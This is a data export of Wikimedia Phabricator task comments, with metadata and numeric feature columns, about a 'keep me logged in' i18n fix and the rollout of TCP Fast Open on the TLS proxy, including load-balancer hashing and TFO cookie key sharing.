648245,Have userlogin-remembermypassword respect extended login cookie expiration,Isn't this a duplicate ticket? See https://phabricator.wikimedia.org/T68699,,,1461090835,,PHID-USER-kffalvhbc2wojbtnxvua,True,,,PHID-TASK-pfjtrv37t6n2bgoj5k2m,task_subcomment,,True,c3,3,False,,,41,True,0.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,33.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,3.5555555555555554,1.0,Isn't this a duplicate ticket? See URL
646764,Have userlogin-remembermypassword respect extended login cookie expiration,"Change 231490 abandoned by Mattflaschen:
Fix i18n message parameter for 'keep me logged in' days.

Reason:
In favor of https://gerrit.wikimedia.org/r/#/c/283698/

[[https://gerrit.wikimedia.org/r/231490]]",,,1460758473,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pfjtrv37t6n2bgoj5k2m,task_subcomment,,True,c3,3,False,,,41,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,15.0,3.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,3.588235294117647,0.8235294117647058,"Change 231490 abandoned by Mattflaschen:
Fix i18n message parameter for 'keep me logged in' days.

Reason:
In favor of URL

[[GERRIT_URL]]"
646720,Have userlogin-remembermypassword respect extended login cookie expiration,"Change 283698 had a related patch set uploaded (by Gergő Tisza):
Fix i18n message parameter for 'keep me logged in' days.

[[https://gerrit.wikimedia.org/r/283698]]
",,,1460748551,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pfjtrv37t6n2bgoj5k2m,task_subcomment,,True,c3,3,False,,,41,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,9.0,6.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,9.0,3.5,0.8823529411764706,"Change 283698 had a related patch set uploaded (by Gergő Tisza):
Fix i18n message parameter for 'keep me logged in' days.

[[GERRIT_URL]]
"
628510,Have userlogin-remembermypassword respect extended login cookie expiration,"Change 231490 restored by Mattflaschen:
Fix i18n message parameter for 'keep me logged in' days.

Reason:
My mistake.  This was not actually removed.

[[https://gerrit.wikimedia.org/r/231490]]",,,1457747203,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pfjtrv37t6n2bgoj5k2m,task_subcomment,,True,c3,3,False,,,36,True,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,18.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,8.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,3.65,0.8,"Change 231490 restored by Mattflaschen:
Fix i18n message parameter for 'keep me logged in' days.

Reason:
My mistake.  This was not actually removed.

[[GERRIT_URL]]"
617329,Have userlogin-remembermypassword respect extended login cookie expiration,"Change 231490 abandoned by Mattflaschen:
Fix i18n message parameter for 'keep me logged in' days.

Reason:
See T68699

[[https://gerrit.wikimedia.org/r/231490]]",,,1456336612,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pfjtrv37t6n2bgoj5k2m,task_subcomment,,True,c3,3,False,,,33,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,3.0,9.0,3.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,3.71875,0.8125,"Change 231490 abandoned by Mattflaschen:
Fix i18n message parameter for 'keep me logged in' days.

Reason:
See T68699

[[GERRIT_URL]]"
508049,Have userlogin-remembermypassword respect extended login cookie expiration,"Change 231490 had a related patch set uploaded (by Mattflaschen):
Fix i18n message parameter for 'keep me logged in' days.

[[https://gerrit.wikimedia.org/r/231490]]
",,,1439531105,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pfjtrv37t6n2bgoj5k2m,task_subcomment,,True,c3,3,False,,,6,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,9.0,3.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,9.0,3.6666666666666665,0.8787878787878788,"Change 231490 had a related patch set uploaded (by Mattflaschen):
Fix i18n message parameter for 'keep me logged in' days.

[[GERRIT_URL]]
"
108827,Investigate TCP Fast Open for tlsproxy,"[[ https://en.wikipedia.org/wiki/TCP_Fast_Open | TCP Fast Open ]] has the potential to further reduce latency for at least some TLS connections.  With TLS there's also no idempotency concerns like there are for using it with plain HTTP, as the fastopen-sent data would just be the TLS ClientHello.  Our current cache cluster kernels and nginx builds support it, requiring sysctl adjustments and an nginx config change.  Various concerns/work that need addressing before trying to really enable it:

1. Is client-side adoption percentage high enough to matter yet?  Right now probably fairly low, but growing.  Linux+Chrom(e|ium) can do it by default on newer kernels, and Android 5 can do it.  El Capitan Macs (Safari? Chrome?) may start trying it in the fall.

2. How do we appropriately tune the limit for the outstanding fastopen queue per socket? (in nginx terms, this is the `N` in the `fastopen=N` parameter).  Too high has DoS implications both for us and as a potential reflector.  Too low and we may miss legit TFO due to our high SYN concurrency.

3. Is LVS a factor here for TFO compatibility, and does it (or should it) pay attention to the cookies?

4. We'd need to synchronize the TFO cookie key across machines in a cluster and rotate them periodically, or rely on client source IP hashing and only periodically regenerate locally per-machine.  This is somewhat similar to the issues with RFC5077 secrets but considerably less security-critical; leaking it opens us to easier DoS, but does not affect TLS security of legitimate client traffic.  We'd need to generate a random key and distribute it securely and periodically, etc.  Everything about this is dependent on answering the LVS question above too.",Medium,50.0,1439388497,1471254196.0,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-USER-spcngbyufhlv6qsdoqev,False,PHID-TASK-5qjfu7slaazul3cxubyj,task_description,resolved,True,c3,3,True,False,False,5,True,0.25,0.25,0.0,0.0,0.25,5.75,1.0,0.0,0.0,0.0,1.5,0.5,0.0,0.5,0.5,2.0,0.25,6.5,9.5,0.25,1.5,0.25,0.0,0.0,0.0,0.5,0.0,0.75,1.0,0.75,0.0,4.5,0.0,2.5,0.0,0.0,0.0,0.0,0.25,0.25,0.25,0.25,0.25,2.25,0.0,0.25,0.0,0.25,0.0,12.25,0.75,0.0,0.25,0.5,0.0,0.0,0.0,0.0,1.0,0.25,0.75,0.5,0.5,0.0,0.0,0.25,0.0,4.25,1.75,10.75,0.25,4.0,6.0,0.0,0.0,0.0,0.0,4.75,0.0,0.25,0.0,5.0,9.5,6.5,1.25,0.0,0.0,5.0,0.0,0.5,1.25,0.75,2.0,0.75,0.25,2.0,3.997485632183908,0.7513388192267503,"[[ URL | TCP Fast Open ]] has the potential to further reduce latency for at least some TLS connections.  With TLS there's also no idempotency concerns like there are for using it with plain HTTP, as the fastopen-sent data would just be the TLS ClientHello.  Our current cache cluster kernels and nginx builds support it, requiring sysctl adjustments and an nginx config change.  Various concerns/work that need addressing before trying to really enable it:

1. Is client-side adoption percentage high enough to matter yet?  Right now probably fairly low, but growing.  Linux+Chrom(e|ium) can do it by default on newer kernels, and Android 5 can do it.  El Capitan Macs (Safari? Chrome?) may start trying it in the fall.

2. How do we appropriately tune the limit for the outstanding fastopen queue per socket? (in nginx terms, this is the CODE in the CODE parameter).  Too high has DoS implications both for us and as a potential reflector.  Too low and we may miss legit TFO due to our high SYN concurrency.

3. Is LVS a factor here for TFO compatibility, and does it (or should it) pay attention to the cookies?

4. We'd need to synchronize the TFO cookie key across machines in a cluster and rotate them periodically, or rely on client source IP hashing and only periodically regenerate locally per-machine.  This is somewhat similar to the issues with RFC5077 secrets but considerably less security-critical; leaking it opens us to easier DoS, but does not affect TLS security of legitimate client traffic.  We'd need to generate a random key and distribute it securely and periodically, etc.  Everything about this is dependent on answering the LVS question above too."
711497,Investigate TCP Fast Open for tlsproxy,"The high rate of failed incoming TFO connections in esams seems to have stopped since [[  https://gerrit.wikimedia.org/r/297418| we switched the load balancers to sh]] for port 80 too.
{F4364140}

TFO has been enabled for a while now without causing any particular issue. Closing this ticket.",,,1471254196,,PHID-USER-spcngbyufhlv6qsdoqev,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,True,,,58,True,2.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,14.0,0.0,2.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,11.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,14.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,4.0,3.982142857142857,0.875,"The high rate of failed incoming TFO connections in esams seems to have stopped since [[  GERRIT_URL| we switched the load balancers to sh]] for port 80 too.
{F4364140}

TFO has been enabled for a while now without causing any particular issue. Closing this ticket."
710181,Investigate TCP Fast Open for tlsproxy,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVZ6uLFLpirJUPGy-vK0} [2016-08-11T17:48:59Z] <ema> switched LVS schedulers for text, upload, maps and misc port 80 to source hash scheduling T108827",,,1470937740,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,False,,,58,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,0.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.511627906976744,0.8604651162790697,"{nav icon=file, name=Mentioned in SAL, href=URL [2016-08-11T17:48:59Z] <ema> switched LVS schedulers for text, upload, maps and misc port 80 to source hash scheduling T108827"
710068,Investigate TCP Fast Open for tlsproxy,"Change 297418 merged by Ema:
lvs: switch port 80 loadbalancing to sh for cache_ services

[[https://gerrit.wikimedia.org/r/297418]]",,,1470931073,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,False,,,58,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,12.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.64,0.88,"Change 297418 merged by Ema:
lvs: switch port 80 loadbalancing to sh for cache_ services

[[GERRIT_URL]]"
692761,Investigate TCP Fast Open for tlsproxy,"@faidon - so far we've seen TFO stats showing more TFO failures than successes, so we're looking for reasons why TFO so commonly fails when attempted.  That port 80 isn't sh is a logical explanation for how clients are getting TFO failures if they're switching between 80 and 443 even briefly for some unknown reason.",,,1468328204,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,True,,,53,True,2.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,19.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,5.0,10.0,6.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,10.0,8.0,0.0,0.0,0.0,5.0,0.0,5.0,2.0,0.0,6.0,3.0,0.0,0.0,4.238095238095238,0.7936507936507936,"SCREEN_NAME - so far we've seen TFO stats showing more TFO failures than successes, so we're looking for reasons why TFO so commonly fails when attempted.  That port 80 isn't sh is a logical explanation for how clients are getting TFO failures if they're switching between 80 and 443 even briefly for some unknown reason."
692758,Investigate TCP Fast Open for tlsproxy,"I don't particularly object into either moving port 80 to `sh` or to nginx, but I don't think that TFO on port 80 will make any kind of performance impact — at least as I understand it so far.",,,1468327898,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,True,,,53,True,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,7.0,0.0,12.0,19.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,7.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,7.0,2.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,9.0,19.0,5.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,3.5813953488372094,0.8372093023255814,"I don't particularly object into either moving port 80 to CODE or to nginx, but I don't think that TFO on port 80 will make any kind of performance impact — at least as I understand it so far."
692025,Investigate TCP Fast Open for tlsproxy,">>! In T108827#2447888, @BBlack wrote:
> Another thing just occurred to me though - until we switch port 80 to nginx or patch our varnish, we don't have TFO support on port 80 regardless, as varnish doesn't set it on the socket.  It may or may not help much to make the sh switch until then.

TFO support has been added to varnish 4.1.3, but yeah for the clusters running 3.x we would either have to patch varnish or switch port 80 to nginx.
",,,1468254122,,PHID-USER-spcngbyufhlv6qsdoqev,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,True,,,53,True,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,11.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,9.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,14.0,3.0,6.0,0.0,3.0,11.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.857142857142857,0.8571428571428571,"QUOTE
QUOTE

TFO support has been added to varnish 4.1.3, but yeah for the clusters running 3.x we would either have to patch varnish or switch port 80 to nginx.
"
692023,Investigate TCP Fast Open for tlsproxy,"Another thing just occurred to me though - until we switch port 80 to nginx or patch our varnish, we don't have TFO support on port 80 regardless, as varnish doesn't set it on the socket.  It may or may not help much to make the sh switch until then.",,,1468253956,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,True,,,53,True,2.0,0.0,0.0,0.0,5.0,4.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,7.0,0.0,12.0,14.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,5.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,5.0,0.0,4.0,5.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,11.0,14.0,4.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.526315789473684,0.7368421052631579,"Another thing just occurred to me though - until we switch port 80 to nginx or patch our varnish, we don't have TFO support on port 80 regardless, as varnish doesn't set it on the socket.  It may or may not help much to make the sh switch until then."
691996,Investigate TCP Fast Open for tlsproxy,"I'd like to share keys in the long run, but I think sh for port 80 is the right move for now.  It will also clear up confusion on our TFO success/fail stats in general.  Key sharing for this is very similar to key sharing for TLS session tickets - they'll both need a secure memory-only rotation mechanism for small key data across the global clusters.  We can probably tackle both (later) with some shared coding/infrastructure...",,,1468252797,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,True,,,53,True,1.0,0.0,1.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,1.0,0.0,4.0,0.0,6.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,3.0,0.0,4.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,7.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,6.0,14.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.7872340425531914,0.7978723404255319,"I'd like to share keys in the long run, but I think sh for port 80 is the right move for now.  It will also clear up confusion on our TFO success/fail stats in general.  Key sharing for this is very similar to key sharing for TLS session tickets - they'll both need a secure memory-only rotation mechanism for small key data across the global clusters.  We can probably tackle both (later) with some shared coding/infrastructure..."
689319,Investigate TCP Fast Open for tlsproxy,">>! In T108827#2430297, @faidon wrote:

> Are the TFO cookies shared across different ports and if so, is the use case you're thinking of the speed up of the initial port 80 -> port 443 redirect?

Yes.

> Isn't that a relatively rare event, especially for new-enough clients that have TFO support (and thus likely HSTS/HSTS preload as well)?

Absolutely. I wasn't thinking of HSTS. Thanks!

",,,1467799799,,PHID-USER-spcngbyufhlv6qsdoqev,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,True,,,52,True,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,38.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.2857142857142856,0.6190476190476191,"QUOTE

QUOTE

Yes.

QUOTE

Absolutely. I wasn't thinking of HSTS. Thanks!

"
688842,Investigate TCP Fast Open for tlsproxy,"So, first of all, switching port 80 to `sh` isn't a bad option, given that 443 uses `sh`.

That said, what is the use case for using TCP Fast Open for port 80? I would guess that every client that supports TFO support HSTS, and every client that supports HSTS will only hit port 80 ~once in its lifetime (so thus the TFO cookies would not be used ever).

Are the TFO cookies shared across different ports and if so, is the use case you're thinking of the speed up of the initial port 80 -> port 443 redirect? Isn't that a relatively rare event, especially for new-enough clients that have TFO support (and thus likely HSTS/HSTS preload as well)?",,,1467735936,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,True,,,52,True,1.5,0.0,0.0,0.5,2.0,4.5,3.0,0.0,0.0,0.5,2.5,2.0,0.0,0.5,0.0,0.5,0.0,10.0,7.5,0.0,0.5,0.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,1.5,0.0,6.0,1.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.5,16.0,0.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,1.5,0.0,5.0,3.5,10.0,1.5,2.0,7.5,0.0,0.0,0.0,0.0,1.5,0.0,3.5,0.0,1.5,7.5,5.0,2.0,0.0,0.0,1.5,0.0,2.0,1.0,0.0,1.5,0.0,0.0,0.0,3.616438356164384,0.7671232876712328,"So, first of all, switching port 80 to CODE isn't a bad option, given that 443 uses CODE.

That said, what is the use case for using TCP Fast Open for port 80? I would guess that every client that supports TFO support HSTS, and every client that supports HSTS will only hit port 80 ~once in its lifetime (so thus the TFO cookies would not be used ever).

Are the TFO cookies shared across different ports and if so, is the use case you're thinking of the speed up of the initial port 80 -> port 443 redirect? Isn't that a relatively rare event, especially for new-enough clients that have TFO support (and thus likely HSTS/HSTS preload as well)?"
688779,Investigate TCP Fast Open for tlsproxy,">>! In T108827#2429857, @gerritbot wrote:
> Change 297418 had a related patch set uploaded (by Ema):
> lvs: switch port 80 loadbalancing to sh for cache_ services
> 
> [[https://gerrit.wikimedia.org/r/297418]]

Either this ^ or we find a way to share `tcp_fastopen_key` among servers. Clients do change their IP address so sharing the key would have its advantages, but it introduces complexity. @BBlack, @faidon: comments?

",,,1467732841,,PHID-USER-spcngbyufhlv6qsdoqev,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,True,,,52,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,8.0,4.0,8.0,2.0,0.0,0.0,8.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,4.03921568627451,0.7843137254901961,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Either this ^ or we find a way to share CODE among servers. Clients do change their IP address so sharing the key would have its advantages, but it introduces complexity.SCREEN_NAME,SCREEN_NAME: comments?

"
688773,Investigate TCP Fast Open for tlsproxy,"Change 297418 had a related patch set uploaded (by Ema):
lvs: switch port 80 loadbalancing to sh for cache_ services

[[https://gerrit.wikimedia.org/r/297418]]
",,,1467732457,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,False,,,52,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,9.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.59375,0.90625,"Change 297418 had a related patch set uploaded (by Ema):
lvs: switch port 80 loadbalancing to sh for cache_ services

[[GERRIT_URL]]
"
684160,Investigate TCP Fast Open for tlsproxy,"Change 295925 merged by Ema:
tlsproxy: document safe/unsafe TFO usage

[[https://gerrit.wikimedia.org/r/295925]]",,,1466779434,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,False,,,51,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.6666666666666665,0.8571428571428571,"Change 295925 merged by Ema:
tlsproxy: document safe/unsafe TFO usage

[[GERRIT_URL]]"
